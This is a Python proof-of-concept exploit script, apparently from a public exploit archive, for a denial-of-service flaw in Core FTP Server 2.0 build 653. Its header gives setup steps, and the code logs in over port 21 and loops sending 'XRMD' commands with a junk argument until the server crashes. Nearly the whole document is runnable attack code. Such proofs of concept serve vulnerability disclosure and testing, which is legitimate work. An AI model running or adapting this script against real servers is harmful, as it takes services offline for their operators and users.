# Exploit Title: Core FTP 2.0 - 'XRMD' Denial of Service (PoC)
# Date: 2018-07-24
# Exploit Author: Erik David Martin
# Vendor Homepage: http://www.coreftp.com/
# Software Link: http://www.coreftp.com/server/download/CoreFTPServer.exe
# Version: Version 2.0, build 653, 32-bit
# Tested on: Windows XP Professional, Version 2002, Service Pack 3
# CVE: N/A
 
# Proof of concept:
# Create a new domain and set IP address
# Use the default certificate by Core FTP Server
# Set base directory
# Create an anonymous user (anonymous:anonymous) for example
# Set a path for the user
# Start the server
# Run exploit: python exploit.py *target ip* anonymous anonymous
# Watch the server crash...
# The exploit will work for any user, and not just anonymous
 
import sys
import socket
 
try:
    host = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
except:
    print("Usage: exploit.py *target ip* *username* *password*")
    sys.exit()
 
mysocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #
mysocket.settimeout(2)
 
try:
    mysocket.connect((host,21))
    mysocket.recv(1024)
    print("\n[+] Connected\n")
except:
    print("[-] Error! Could not connect to target")
    sys.exit()
 
junk = ("asO8M.lFX[Gq<4<p(.P5eMLv]\2!G8jB_6Gx[I;I!aYa#oAi@kI<f.QFwkSBiQ,!")
 
try:
    mysocket.send("USER " + username + "\r\n")
    mysocket.recv(1024)
    mysocket.send("PASS " + password + "\r\n")
    mysocket.recv(1024)
    print("[+] Logged in as " + username)
except:
    print("[-] Error! Could not log in as " + username)
    sys.exit()
 
print("[+] Sending malicious request")
 
while True:
    try:
        mysocket.send("XRMD " + junk + "\r\n")
        mysocket.recv(1024)
    except:
        print("[+] Target is down\n")
        sys.exit()